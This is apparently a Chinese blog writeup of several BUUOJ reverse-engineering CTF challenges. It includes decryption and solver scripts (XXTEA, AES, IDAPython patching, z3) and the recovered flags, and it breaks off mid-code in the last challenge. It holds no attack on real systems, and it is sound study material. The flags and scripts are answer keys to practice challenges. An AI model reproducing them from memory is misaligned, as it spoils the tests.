buuoj writeup

这篇博客记录buuoj上面刷题时学到东西题

[rev][红帽杯2019]xx

找main函数:

  1. 有三个参数,也可能两个

  2. 下面有个函数使用了main函数的返回值

根据这两个特点

sub1400020F中的这段代码值得注意

1
2
3
4
5
6
7
8
    register_thread_local_exe_atexit_callback(*v12);
get_initial_narrow_environment(v11);
v14 = *(_QWORD *)_p___argv(v13);
v16 = (unsigned int *)_p___argc(v15);
a1 = sub_1400011A0(*v16, v14);
if ( !(unsigned __int8)sub_140002790(v17) )
LABEL_21:
exit(a1);

可以看出sub_140011A0就是main

进入main函数分析

  1. 最后检测逻辑

    对某个数组进行置换并且置换之后进行了异或

  2. 再往前的变换逻辑

    用户输入被送进了一个函数,返回值用来做检测

  3. 进入那个函数

    看起来像tea加密(0x9E3779B9)

    想起来加密与解密中介绍了tea的变种,网上搜索,发现是xxtea加密

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#include <iostream>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
// #include "defs.h"

using namespace std;
#define align4(x) (((x)&3)?(x>>2):((x>>2)+1))

#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void printArray(const char *name,uint8_t *v,size_t len){
printf("========%s=========\n",name);
for(size_t i=0;i<len;i++){
printf("%02X,",v[i]);
}
printf("\n=================\n");
}
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p<n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p>0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

void xxTeaDecrypt(uint8_t *cdata,size_t len){
uint32_t data[6];
memcpy(data,cdata,0x18);
uint32_t key[4]={0};
key[0] = 'f'+('l'<<8)+('a'<<16)+('g'<<24);
printArray("key",(uint8_t*)key,0x10);
for(size_t i=0;i<6;i++){
printf("0x%x\n",data[i]);
}
printf("\n");
btea(data,-6,key);
printArray("cdata",(uint8_t *)cdata,0x18);
printArray("flag",(uint8_t*)data,0x18);
printf("%s\n",data);
}


int main(){
uint8_t buf[0x18];
*(int64_t *)&buf[0]=0xC0953A7C6B40BCCELL;
*(int64_t *)&buf[8]=0x3502F79120209BEFLL;
*(int32_t *)&buf[16]=0xC8021823;
*(int32_t *)&buf[20]=0xFA5656E7;
uint8_t cipher[0x18];
/*
* v20=0,1,2
* v20=3,4,5 buf[3,4,5]^=buf[0]^buf[1]
* v20=6,7,8 buf[6,7,8]^=buf[0]^buf[1]^buf[2]
* v20=9,10,11 buf[9,10,11]^=buf[0]^buf[1]^buf[2]^buf[3]
* ...
*/
for(size_t i=0x18;i>=1;i--){
if(i/3){
uint8_t j=0;
do{
buf[i]^=buf[j];
j++;
}while(j<i/3);
}
}

cipher[2]=buf[0];
cipher[0]=buf[1];
cipher[3]=buf[2];
cipher[1]=buf[3];
cipher[6]=buf[4];
cipher[4]=buf[5];
cipher[7]=buf[6];
cipher[5]=buf[7];
cipher[10]=buf[8];
cipher[8]=buf[9];
cipher[11]=buf[10];
cipher[9]=buf[11];
cipher[14]=buf[12];
cipher[12]=buf[13];
cipher[15]=buf[14];
cipher[13]=buf[15];
cipher[18]=buf[16];
cipher[16]=buf[17];
cipher[19]=buf[18];
cipher[17]=buf[19];
cipher[22]=buf[20];
cipher[20]=buf[21];
cipher[23]=buf[22];
cipher[21]=buf[23];
// printArray("cipher",cipher,0x18);
xxTeaDecrypt(cipher,0x18);
return 0;
}

flag{CXX_and_++tea}

[rev][GWCTF 2019]re3

  1. 进入main函数,发现mprotect和SMC(自修改代码)逻辑,使用idapython进行patch

    1
    2
    3
    4
    5
    6
    st=0x402219
    end=st+223
    while st<=end:
    c=Byte(st)
    PatchByte(st,(c^0x99))
    st+=1
  2. 进入sub_402219,找到比对逻辑

    0xbc 0xa 0xad 0xc0 0x14 0x7c 0x5e 0xcc 0xe0 0xb1 0x40 0xbc 0x9c 0x51 0xd5 0x2b 0x46 0xb2 0xb9 0x43 0x4d 0xe5 0x32 0x4b 0xad 0x7f 0xb4 0xb3 0x9c 0xdb 0x4b 0x5b

  3. 重点在于sub_40196E

    这里用到了一个全局变量unk_603170

    1. sub_400B0A逐字节异或从0开始,共16轮

    2. 进行替换,替换表为byte_4023A0

      0x63 0x7c 0x77 0x7b 0xf2 0x6b 0x6f 0xc5 0x30 0x1 0x67 0x2b 0xfe 0xd7 0xab 0x76 0xca 0x82 0xc9 0x7d 0xfa 0x59 0x47 0xf0 0xad 0xd4 0xa2 0xaf 0x9c 0xa4 0x72 0xc0 0xb7 0xfd 0x93 0x26 0x36 0x3f 0xf7 0xcc 0x34 0xa5 0xe5 0xf1 0x71 0xd8 0x31 0x15 0x4 0xc7 0x23 0xc3 0x18 0x96 0x5 0x9a 0x7 0x12 0x80 0xe2 0xeb 0x27 0xb2 0x75 0x9 0x83 0x2c 0x1a 0x1b 0x6e 0x5a 0xa0 0x52 0x3b 0xd6 0xb3 0x29 0xe3 0x2f 0x84 0x53 0xd1 0x0 0xed 0x20 0xfc 0xb1 0x5b 0x6a 0xcb 0xbe 0x39 0x4a 0x4c 0x58 0xcf 0xd0 0xef 0xaa 0xfb 0x43 0x4d 0x33 0x85 0x45 0xf9 0x2 0x7f 0x50 0x3c 0x9f 0xa8 0x51 0xa3 0x40 0x8f 0x92 0x9d 0x38 0xf5 0xbc 0xb6 0xda 0x21 0x10 0xff 0xf3 0xd2 0xcd 0xc 0x13 0xec 0x5f 0x97 0x44 0x17 0xc4 0xa7 0x7e 0x3d 0x64 0x5d 0x19 0x73 0x60 0x81 0x4f 0xdc 0x22 0x2a 0x90 0x88 0x46 0xee 0xb8 0x14 0xde 0x5e 0xb 0xdb 0xe0 0x32 0x3a 0xa 0x49 0x6 0x24 0x5c 0xc2 0xd3 0xac 0x62 0x91 0x95 0xe4 0x79 0xe7 0xc8 0x37 0x6d 0x8d 0xd5 0x4e 0xa9 0x6c 0x56 0xf4 0xea 0x65 0x7a 0xae 0x8 0xba 0x78 0x25 0x2e 0x1c 0xa6 0xb4 0xc6 0xe8 0xdd 0x74 0x1f 0x4b 0xbd 0x8b 0x8a 0x70 0x3e 0xb5 0x66 0x48 0x3 0xf6 0xe 0x61 0x35 0x57 0xb9 0x86 0xc1 0x1d 0x9e 0xe1 0xf8 0x98 0x11 0x69 0xd9 0x8e 0x94 0x9b 0x1e 0x87 0xe9 0xce 0x55 0x28 0xdf 0x8c 0xa1 0x89 0xd 0xbf 0xe6 0x42 0x68 0x41 0x99 0x2d 0xf 0xb0 0x54 0xbb 0x16

    3. sub_400C1F进行置换 置换表

      [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]

    4. sub_400D27自异或操作

      v1=s[i*4]

      v2=s[i4+1]^s[i4+2]^s[i*4+3]

      sub_400CFA 2x^27\(x>>7)

      s[i4]=v2^sub_400CFA(s[i4]^s[i*4+1])

      s[i*4+1]=v2^sub_400CFA(+1,+2)

      s[2]=v2^sub(+2,+3)

      s[3]=v2^sub(+3)

    5. 再进行异或

    6. 循环结束,9轮

    7. 替换

    8. 置换

    9. 异或

    看下来是AES加密算法,555我爬了

    ECB模式,密钥可以调试获得

    1
    2
    3
    4
    5
    6
    7
    8
    from Crypto.Cipher import AES

    key = [0xcb,0x8d,0x49,0x35,0x21,0xb4,0x7a,0x4c,0xc1,0xae,0x7e,0x62,0x22,0x92,0x66,0xce]
    key = bytes(key)
    cipher = [0xbc,0xa,0xad,0xc0,0x14,0x7c,0x5e,0xcc,0xe0,0xb1,0x40,0xbc,0x9c,0x51,0xd5,0x2b,0x46,0xb2,0xb9,0x43,0x4d,0xe5,0x32,0x4b,0xad,0x7f,0xb4,0xb3,0x9c,0xdb,0x4b,0x5b]
    cipher = bytes(cipher)
    aes = AES.new(mode=AES.MODE_ECB,key=key)
    print(aes.decrypt(cipher))

[rev][ACTF新生赛2020]Oruga

迷宫问题

规则:

  1. WEMJ分别代表上右下左

  2. 如果上次的方向是上,这次还是上,则改为右,以此类推

  3. 如果当前的位置是0,则一直沿同一方向向前走直到越界或不是0

    如果遇到非0,则停在非0单位面前

  4. 最终走到0x21的位置,初始位置是0

actf{MEWEMEWJMEWJM}

打印迷宫函数

1
2
3
4
5
a = [0x00,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x23,0x23,0x23,0x23,0x00,0x00,0x00,0x23,0x23,0x00,0x00,0x00,0x4f,0x4f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4f,0x4f,0x00,0x50,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x4f,0x4f,0x00,0x4f,0x4f,0x00,0x50,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x00,0x4f,0x4f,0x00,0x4f,0x4f,0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x4c,0x4c,0x00,0x4f,0x4f,0x00,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4f,0x4f,0x00,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4d,0x4d,0x4d,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4d,0x4d,0x4d,0x00,0x00,0x00,0x00,0x45,0x45,0x00,0x00,0x00,0x30,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x00,0x00,0x00,0x00,0x45,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x45,0x45,0x54,0x54,0x54,0x49,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x00,0x00,0x00,0x00,0x45,0x00,0x00,0x54,0x00,0x49,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x00,0x00,0x00,0x00,0x45,0x00,0x00,0x54,0x00,0x49,0x00,0x4d,0x00,0x4d,0x00,0x4d,0x21,0x00,0x00,0x00,0x45,0x45]
for i in range(0,len(a),16):
for j in range(i,i+16):
print("%02x"%a[j],end=" ")
print()

[rev]equation

自写脚本解不动了,使用大佬的正则表达式

1
2
3
4
5
6
7
function deEquation(str) {
for (let i = 0; i <= 1; i++) {
str = str.replace(/l\[(\D*?)](\+l|-l|==)/g, (m, a, b) => 'l[' + eval(a) + ']' + b);
}
str = str.replace(/==(\D*?)&&/g, (m, a) => '==' + eval(a) + '&&');
return str;
}

然后解析使用python脚本z3一跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from z3 import *

l = [Int('l%d'%i) for i in range(0x2a)]
s = Solver()
s.add(l[40]+l[35]+l[34]-l[0]-l[15]-l[37]+l[7]+l[6]-l[26]+l[20]+l[19]+l[8]-l[17]-l[14]-l[38]+l[1]-l[9]+l[22]+l[41]+l[3]-l[29]-l[36]-l[25]+l[5]+l[32]-l[16]+l[12]-l[24]+l[30]+l[39]+l[10]+l[2]+l[27]+l[28]+l[21]+l[33]-l[18]+l[4]==861)
s.add(l[31]+l[26]+l[11]-l[33]+l[27]-l[3]+l[12]+l[30]+l[1]+l[32]-l[16]+l[7]+l[10]-l[25]+l[38]-l[41]-l[14]-l[19]+l[29]+l[36]-l[9]-l[28]-l[6]-l[0]-l[22]-l[18]+l[20]-l[37]+l[4]-l[24]+l[34]-l[21]-l[39]-l[23]-l[8]-l[40]+l[15]-l[35]==-448)
s.add(l[26]+l[14]+l[15]+l[9]+l[13]+l[30]-l[11]+l[18]+l[23]+l[7]+l[3]+l[12]+l[25]-l[24]-l[39]-l[35]-l[20]+l[40]-l[8]+l[10]-l[5]-l[33]-l[31]+l[32]+l[19]+l[21]-l[6]+l[1]+l[16]+l[17]+l[29]+l[22]-l[4]-l[36]+l[41]+l[38]+l[2]+l[0]==1244)
s.add(l[5]+l[22]+l[15]+l[2]-l[28]-l[10]-l[3]-l[13]-l[18]+l[30]-l[9]+l[32]+l[19]+l[34]+l[23]-l[17]+l[16]-l[7]+l[24]-l[39]+l[8]-l[12]-l[40]-l[25]+l[37]-l[35]+l[11]-l[14]+l[20]-l[27]+l[4]-l[33]-l[21]+l[31]-l[6]+l[1]+l[38]-l[29]==-39)
s.add(l[41]-l[29]+l[23]-l[4]+l[20]-l[33]+l[35]+l[3]-l[19]-l[21]+l[11]+l[26]-l[24]-l[17]+l[37]+l[1]+l[16]-l[0]-l[13]+l[7]+l[10]+l[14]+l[22]+l[39]-l[40]+l[34]-l[38]+l[32]+l[25]-l[2]+l[15]+l[6]+l[28]-l[8]-l[5]-l[31]-l[30]-l[27]==485)
s.add(l[13]+l[19]+l[21]-l[2]-l[33]-l[0]+l[39]+l[31]-l[23]-l[41]+l[38]-l[29]+l[36]+l[24]-l[20]-l[9]-l[32]+l[37]-l[35]+l[40]+l[7]-l[26]+l[15]-l[10]-l[6]-l[16]-l[4]-l[5]-l[30]-l[14]-l[22]-l[25]-l[34]-l[17]-l[11]-l[27]+l[1]-l[28]==-1068)
s.add(l[32]+l[0]+l[9]+l[14]+l[11]+l[18]-l[13]+l[24]-l[2]-l[15]+l[19]-l[21]+l[1]+l[39]-l[8]-l[3]+l[33]+l[6]-l[5]-l[35]-l[28]+l[25]-l[41]+l[22]-l[17]+l[10]+l[40]+l[34]+l[27]-l[20]+l[23]+l[31]-l[16]+l[7]+l[12]-l[30]+l[29]-l[4]==939)
s.add(l[19]+l[11]+l[20]-l[16]+l[40]+l[25]+l[1]-l[31]+l[28]-l[23]+l[14]-l[9]-l[27]+l[35]+l[39]-l[37]-l[8]-l[22]+l[5]-l[6]+l[0]-l[32]+l[24]+l[33]+l[29]+l[38]+l[15]-l[2]+l[30]+l[7]+l[12]-l[3]-l[17]+l[34]+l[41]-l[4]-l[13]-l[26]==413)
s.add(l[22]+l[4]-l[9]+l[34]+l[35]+l[17]+l[3]-l[24]+l[38]-l[5]-l[41]-l[31]-l[0]-l[25]+l[33]+l[15]-l[1]-l[10]+l[16]-l[29]-l[12]+l[26]-l[39]-l[21]-l[18]-l[6]-l[40]-l[13]+l[8]+l[37]+l[19]+l[14]+l[32]+l[28]-l[11]+l[23]+l[36]+l[7]==117)
s.add(l[32]+l[16]+l[3]+l[11]+l[34]-l[31]+l[14]+l[25]+l[1]-l[30]-l[33]-l[40]-l[4]-l[29]+l[18]-l[27]+l[13]-l[19]-l[12]+l[23]-l[39]-l[41]-l[8]+l[22]-l[5]-l[38]-l[9]-l[37]+l[17]-l[36]+l[24]-l[21]+l[2]-l[26]+l[20]-l[7]+l[35]-l[0]==-313)
s.add(l[40]-l[1]+l[5]+l[7]+l[33]+l[29]+l[12]+l[38]-l[31]+l[2]+l[14]-l[35]-l[8]-l[24]-l[39]-l[9]-l[28]+l[23]-l[17]-l[22]-l[26]+l[32]-l[11]+l[4]-l[36]+l[10]+l[20]-l[18]-l[16]+l[6]-l[0]+l[3]-l[30]+l[37]-l[19]+l[21]+l[25]-l[15]==-42)
s.add(l[21]+l[26]-l[17]-l[25]+l[27]-l[22]-l[39]-l[23]-l[15]-l[20]-l[32]+l[12]+l[3]-l[6]+l[28]+l[31]+l[13]-l[16]-l[37]-l[30]-l[5]+l[41]+l[29]+l[36]+l[1]+l[11]+l[24]+l[18]-l[40]+l[19]-l[35]+l[2]-l[38]+l[14]-l[9]+l[4]+l[0]-l[33]==289)
s.add(l[29]+l[31]+l[32]-l[17]-l[7]+l[34]+l[2]+l[14]+l[23]-l[4]+l[3]+l[35]-l[33]-l[9]-l[20]-l[37]+l[24]-l[27]+l[36]+l[15]-l[18]-l[0]+l[12]+l[11]-l[38]+l[6]+l[22]+l[39]-l[25]-l[10]-l[19]-l[1]+l[13]-l[41]+l[30]-l[16]+l[28]-l[26]==-117)
s.add(l[5]+l[37]-l[39]+l[0]-l[27]+l[12]+l[41]-l[22]+l[8]-l[16]-l[38]+l[9]+l[15]-l[35]-l[29]+l[18]+l[6]-l[25]-l[28]+l[36]+l[34]+l[32]-l[14]-l[1]+l[20]+l[40]-l[19]-l[4]-l[7]+l[26]+l[30]-l[10]+l[13]-l[21]+l[2]-l[23]-l[3]-l[33]==-252)
s.add(l[29]+l[10]-l[41]-l[9]+l[12]-l[28]+l[11]+l[40]-l[27]-l[8]+l[32]-l[25]-l[23]+l[39]-l[1]-l[36]-l[15]+l[33]-l[20]+l[18]+l[22]-l[3]+l[6]-l[34]-l[21]+l[19]+l[26]+l[13]-l[4]+l[7]-l[37]+l[38]-l[2]-l[30]-l[0]-l[35]+l[5]+l[17]==-183)
s.add(l[6]-l[8]-l[20]+l[34]-l[33]-l[25]-l[4]+l[3]+l[17]-l[13]-l[15]-l[40]+l[1]-l[30]-l[14]-l[28]-l[35]+l[38]-l[22]+l[2]+l[24]-l[29]+l[5]+l[9]+l[37]+l[23]-l[18]+l[19]-l[21]+l[11]+l[36]+l[41]-l[7]-l[32]+l[10]+l[26]-l[0]+l[31]==188)
s.add(l[3]+l[6]-l[41]+l[10]+l[39]+l[37]+l[1]+l[8]+l[21]+l[24]+l[29]+l[12]+l[27]-l[38]+l[11]+l[23]+l[28]+l[33]-l[31]+l[14]-l[5]+l[32]-l[17]+l[40]-l[34]+l[20]-l[22]-l[16]+l[19]+l[2]-l[36]-l[7]+l[18]+l[15]+l[26]-l[0]-l[4]+l[35]==1036)
s.add(l[28]-l[33]+l[2]+l[37]-l[12]-l[9]-l[39]+l[16]-l[32]+l[8]-l[36]+l[31]+l[10]-l[4]+l[21]-l[25]+l[18]+l[24]-l[0]+l[29]-l[26]+l[35]-l[22]-l[41]-l[6]+l[15]+l[19]+l[40]+l[7]+l[34]+l[17]-l[3]-l[13]+l[5]+l[23]+l[11]-l[27]+l[1]==328)
s.add(l[22]-l[32]+l[17]-l[9]+l[20]-l[18]-l[34]+l[23]+l[36]-l[35]-l[38]+l[27]+l[4]-l[5]-l[41]+l[29]+l[33]+l[0]-l[37]+l[28]-l[40]-l[11]-l[12]+l[7]+l[1]+l[2]-l[26]-l[16]-l[8]+l[24]-l[25]+l[3]-l[6]-l[19]-l[39]-l[14]-l[31]+l[10]==-196)
s.add(l[11]+l[13]+l[14]-l[15]-l[29]-l[2]+l[7]+l[20]+l[30]-l[36]-l[33]-l[19]+l[31]+l[0]-l[39]-l[4]-l[6]+l[38]+l[35]-l[28]+l[34]-l[9]-l[23]-l[26]+l[37]-l[8]-l[27]+l[5]-l[41]+l[3]+l[17]+l[40]-l[10]+l[25]+l[12]-l[24]+l[18]+l[32]==7)
s.add(l[34]-l[37]-l[40]+l[4]-l[22]-l[31]-l[6]+l[38]+l[13]-l[28]+l[8]+l[30]-l[20]-l[7]-l[32]+l[26]+l[1]-l[18]+l[5]+l[35]-l[24]-l[41]+l[9]-l[0]-l[2]-l[15]-l[10]+l[12]-l[36]+l[33]-l[16]-l[14]-l[25]-l[29]-l[21]+l[27]+l[3]-l[17]==-945)
s.add(l[12]-l[30]-l[8]+l[20]-l[2]-l[36]-l[25]-l[0]-l[19]-l[28]-l[7]-l[11]-l[33]+l[4]-l[23]+l[10]-l[41]+l[39]-l[32]+l[27]+l[18]+l[15]+l[34]+l[13]-l[40]+l[29]-l[6]+l[37]-l[14]-l[16]+l[38]-l[26]+l[17]+l[31]-l[22]-l[35]+l[5]-l[1]==-480)
s.add(l[36]-l[11]-l[34]+l[8]+l[0]+l[15]+l[28]-l[39]-l[32]-l[2]-l[27]+l[22]+l[16]-l[30]-l[3]+l[31]-l[26]+l[20]+l[17]-l[29]-l[18]+l[19]-l[10]+l[6]-l[5]-l[38]-l[25]-l[24]+l[4]+l[23]+l[9]+l[14]+l[21]-l[37]+l[13]-l[41]-l[12]+l[35]==-213)
s.add(l[19]-l[36]-l[12]+l[33]-l[27]-l[37]-l[25]+l[38]+l[16]-l[18]+l[22]-l[39]+l[13]-l[7]-l[31]-l[26]+l[15]-l[10]-l[9]-l[2]-l[30]-l[11]+l[41]-l[4]+l[24]+l[34]+l[5]+l[17]+l[14]+l[6]+l[8]-l[21]-l[23]+l[32]-l[1]-l[29]-l[0]+l[3]==-386)
s.add(l[0]+l[7]-l[28]-l[38]+l[19]+l[31]-l[5]+l[24]-l[3]+l[33]-l[12]-l[29]+l[32]+l[1]-l[34]-l[9]-l[25]+l[26]-l[8]+l[4]-l[10]+l[40]-l[15]-l[11]-l[27]+l[36]+l[14]+l[41]-l[35]-l[13]-l[17]-l[21]-l[18]+l[39]-l[2]+l[20]-l[23]-l[22]==-349)
s.add(l[10]+l[22]+l[21]-l[0]+l[15]-l[6]+l[20]-l[29]-l[30]-l[33]+l[19]+l[23]-l[28]+l[41]-l[27]-l[12]-l[37]-l[32]+l[34]-l[36]+l[3]+l[1]-l[13]+l[18]+l[14]+l[9]+l[7]-l[39]+l[8]+l[2]-l[31]-l[5]-l[40]+l[38]-l[26]-l[4]+l[16]-l[25]==98)
s.add(l[28]+l[38]+l[20]+l[0]-l[5]-l[34]-l[41]+l[22]-l[26]+l[11]+l[29]+l[31]-l[3]-l[16]+l[23]+l[17]-l[18]+l[9]-l[4]-l[12]-l[19]-l[40]-l[27]+l[33]+l[8]-l[37]+l[2]+l[15]-l[24]-l[39]+l[10]+l[35]-l[1]+l[30]-l[36]-l[25]-l[14]-l[32]==-412)
s.add(l[1]-l[24]-l[29]+l[39]+l[41]+l[0]+l[9]-l[19]+l[6]-l[37]-l[22]+l[32]+l[21]+l[28]+l[36]+l[4]-l[17]+l[20]-l[13]-l[35]-l[5]+l[33]-l[27]-l[30]+l[40]+l[25]-l[18]+l[34]-l[3]-l[10]-l[16]-l[23]-l[38]+l[8]-l[14]-l[11]-l[7]+l[12]==-95)
s.add(l[2]-l[24]+l[31]+l[0]+l[9]-l[6]+l[7]-l[1]-l[22]+l[8]-l[23]+l[40]+l[20]-l[38]-l[11]-l[14]+l[18]-l[36]+l[15]-l[4]-l[41]-l[12]-l[34]+l[32]-l[35]+l[17]-l[21]-l[10]-l[29]+l[39]-l[16]+l[27]+l[26]-l[3]-l[5]+l[13]+l[25]-l[28]==-379)
s.add(l[19]-l[17]+l[31]+l[14]+l[6]-l[12]+l[16]-l[8]+l[27]-l[13]+l[41]+l[2]-l[7]+l[32]+l[1]+l[25]-l[9]+l[37]+l[34]-l[18]-l[40]-l[11]-l[10]+l[38]+l[21]+l[3]-l[0]+l[24]+l[15]+l[23]-l[20]+l[26]+l[22]-l[4]-l[28]-l[5]+l[39]+l[35]==861)
s.add(l[35]+l[36]-l[16]-l[26]-l[31]+l[0]+l[21]-l[13]+l[14]+l[39]+l[7]+l[4]+l[34]+l[38]+l[17]+l[22]+l[32]+l[5]+l[15]+l[8]-l[29]+l[40]+l[24]+l[6]+l[30]-l[2]+l[25]+l[23]+l[1]+l[12]+l[9]-l[10]-l[3]-l[19]+l[20]-l[37]-l[33]-l[18]==1169)
s.add(l[13]+l[0]-l[25]-l[32]-l[21]-l[34]-l[14]-l[9]-l[8]-l[15]-l[16]+l[38]-l[35]-l[30]-l[40]-l[12]+l[3]-l[19]+l[4]-l[41]+l[2]-l[36]+l[37]+l[17]-l[1]+l[26]-l[39]-l[10]-l[33]+l[5]-l[27]-l[23]-l[24]-l[7]+l[31]-l[28]-l[18]+l[6]==-1236)
s.add(l[20]+l[27]-l[29]-l[25]-l[3]+l[28]-l[32]-l[11]+l[10]+l[31]+l[16]+l[21]-l[7]+l[4]-l[24]-l[35]+l[26]+l[12]-l[37]+l[6]+l[23]+l[41]-l[39]-l[38]+l[40]-l[36]+l[8]-l[9]-l[5]-l[1]-l[13]-l[14]+l[19]+l[0]-l[34]-l[15]+l[17]+l[22]==-114)
s.add(l[12]-l[28]-l[13]-l[23]-l[33]+l[18]+l[10]+l[11]+l[2]-l[36]+l[41]-l[16]+l[39]+l[34]+l[32]+l[37]-l[38]+l[20]+l[6]+l[7]+l[31]+l[5]+l[22]-l[4]-l[15]-l[24]+l[17]-l[3]+l[1]-l[35]-l[9]+l[30]+l[25]-l[0]-l[8]-l[14]+l[26]+l[21]==659)
s.add(l[21]-l[3]+l[7]-l[27]+l[0]-l[32]-l[24]-l[37]+l[4]-l[22]+l[20]-l[5]-l[30]-l[31]-l[1]+l[15]+l[41]+l[12]+l[40]+l[38]-l[17]-l[39]+l[19]-l[13]+l[23]+l[18]-l[2]+l[6]-l[33]-l[9]+l[28]+l[8]-l[16]-l[10]-l[14]+l[34]+l[35]-l[11]==-430)
s.add(l[11]-l[23]-l[9]-l[19]+l[17]+l[38]-l[36]-l[22]-l[10]+l[27]-l[14]-l[4]+l[5]+l[31]+l[2]+l[0]-l[16]-l[8]-l[28]+l[3]+l[40]+l[25]-l[33]+l[13]-l[32]-l[35]+l[26]-l[20]-l[41]-l[30]-l[12]-l[7]+l[37]-l[39]+l[15]+l[18]-l[29]-l[21]==-513)
s.add(l[32]+l[19]+l[4]-l[13]-l[17]-l[30]+l[5]-l[33]-l[37]-l[15]-l[18]+l[7]+l[25]-l[14]+l[35]+l[40]+l[16]+l[1]+l[2]+l[26]-l[3]-l[39]-l[22]+l[23]-l[36]-l[27]-l[9]+l[6]-l[41]-l[0]-l[31]-l[20]+l[12]-l[8]+l[29]-l[11]-l[34]+l[21]==-502)
s.add(l[30]-l[31]-l[36]+l[3]+l[9]-l[40]-l[33]+l[25]+l[39]-l[26]+l[23]-l[0]-l[29]-l[32]-l[4]+l[37]+l[28]+l[21]+l[17]+l[2]+l[24]+l[6]+l[5]+l[8]+l[16]+l[27]+l[19]+l[12]+l[20]+l[41]-l[22]+l[15]-l[11]+l[34]-l[18]-l[38]+l[1]-l[14]==853)
s.add(l[38]-l[10]+l[16]+l[8]+l[21]-l[25]+l[36]-l[30]+l[31]-l[3]+l[5]-l[15]+l[23]-l[28]+l[7]+l[12]-l[29]+l[22]-l[0]-l[37]-l[14]-l[11]+l[32]+l[33]-l[9]+l[39]+l[41]-l[19]-l[1]+l[18]-l[4]-l[6]+l[13]+l[20]-l[2]-l[35]-l[26]+l[27]==-28)
s.add(l[11]+l[18]-l[26]+l[15]-l[14]-l[33]+l[7]-l[23]-l[25]+l[0]-l[6]-l[21]-l[16]+l[17]-l[19]-l[28]-l[38]-l[37]+l[9]+l[20]-l[8]-l[3]+l[22]-l[35]-l[10]-l[31]-l[2]+l[41]-l[1]-l[4]+l[24]-l[34]+l[39]+l[40]+l[32]-l[5]+l[36]-l[27]==-529)
s.add(l[38]+l[8]+l[36]+l[35]-l[23]-l[34]+l[13]-l[4]-l[27]-l[24]+l[26]+l[31]-l[30]-l[5]-l[40]+l[28]-l[11]-l[2]-l[39]+l[15]+l[10]-l[17]+l[3]+l[19]+l[22]+l[33]+l[0]+l[37]+l[16]-l[9]-l[32]+l[25]-l[21]-l[12]+l[6]-l[41]+l[20]-l[18]==-12)
s.add(l[6]-l[30]-l[20]-l[27]-l[14]-l[39]+l[41]-l[33]-l[0]+l[25]-l[32]-l[3]+l[26]-l[12]+l[8]-l[35]-l[24]+l[15]+l[9]-l[4]+l[13]+l[36]+l[34]+l[1]-l[28]-l[21]+l[18]+l[23]+l[29]-l[10]-l[38]+l[22]+l[37]+l[5]+l[19]+l[7]+l[16]-l[31]==81)
a = []
if s.check()==sat:
for i in l:
a.append(s.model()[i].as_long())
print(bytes(a))

flag{A_l0ng_10NG_eqU4Ti0n_1s_E4Sy_W1Th_z3}

感觉实际解的话使用栈模型看括号似乎比较容易。

js才是世界上最好的语言。。

参考资料 BUUCTF–equation_Hk_Mayfly的博客-CSDN博客

[rev]easy strcmp

  1. 使用IDA打开,发现虚假的main函数

  2. 进行调试,在puts下断点,找到主函数位于0x55555555481e附近

  3. 反编译程序,查看源码

  4. 在puts之前一些地方下断点,重新调试

    强制gdb反汇编某个地方

    当gdb接收一个参数时,gdb会尝试反汇编包含那个地址的函数

    当gdb接受两个参数时,gdb会尝试反汇编那个区间的代码

    disassambly start,end

    disassambly start,+len

  5. 发现程序主逻辑:把用户输入加上一些偏移量与加密字符串比较c++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <iostream>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
// #include "defs.h"

using namespace std;

int main(){
uint8_t fflag[] = "zer0pts{********CENSORED********}";
